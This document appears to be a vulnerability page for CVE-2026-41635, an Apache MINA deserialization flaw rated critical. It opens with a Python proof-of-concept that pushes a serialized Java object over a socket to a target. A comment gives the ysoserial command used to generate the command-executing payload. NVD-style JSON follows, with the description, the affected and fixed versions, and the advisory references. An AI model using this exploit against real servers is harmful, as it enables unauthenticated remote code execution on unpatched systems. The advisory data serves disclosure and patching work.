CVE-2026-41635

import socket import sys # PoC for CVE-2026-41635 # This script sends a malicious serialized Java object to a target running a vulnerable Apache MINA version. # The vulnerability allows bypassing the whitelist check in resolveClass() when handling static classes. TARGET_HOST = '127.0.0.1' TARGET_PORT = 9123 # In a real scenario, generate a payload using ysoserial, e.g.: # java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.bin # This payload exploits the deserialization to execute commands. PAYLOAD_FILE = 'payload.bin' def send_exploit(): try: with open(PAYLOAD_FILE, 'rb') as f: data = f.read() print(f"[*] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) print("[*] Sending malicious serialized object...") s.sendall(data) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

{"cve": {"id": "CVE-2026-41635", "sourceIdentifier": "[email protected]", "published": "2026-04-27T09:16:01.893", "lastModified": "2026-04-29T19:08:21.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed.\n\n\n\n\nThe fix checks if the class is present in the accepted class filter before calling Class.forName(). \n\n\n\n\n\n\nAffected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and\n\n\n2.2.0 <= 2.2.5.\n\n\n\n\n\nThe problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by \napplying the classname allowlist earlier.\n\n\n\n\n\nAffected are applications using Apache MINA that call  IoBuffer.getObject().\n\n\n\n\n\nApplications using Apache MINA are advised to upgrade."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.28", "matchCriteriaId": "BD2A5F4E-7B53-4235-BE01-DD9B9E3614E0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.1.11", "matchCriteriaId": "E69C9219-F00B-4677-88B8-3263615586BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:apache:mina:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.2.0", "versionEndExcluding": "2.2.6", "matchCriteriaId": "EC86281C-5EBB-4250-8575-50EB77E76F3E"}]}]}], "references": [{"url": "https://lists.apache.org/thread/1l91w1mqsb3lwfd504fs045ylxntt2tm", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/27/4", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}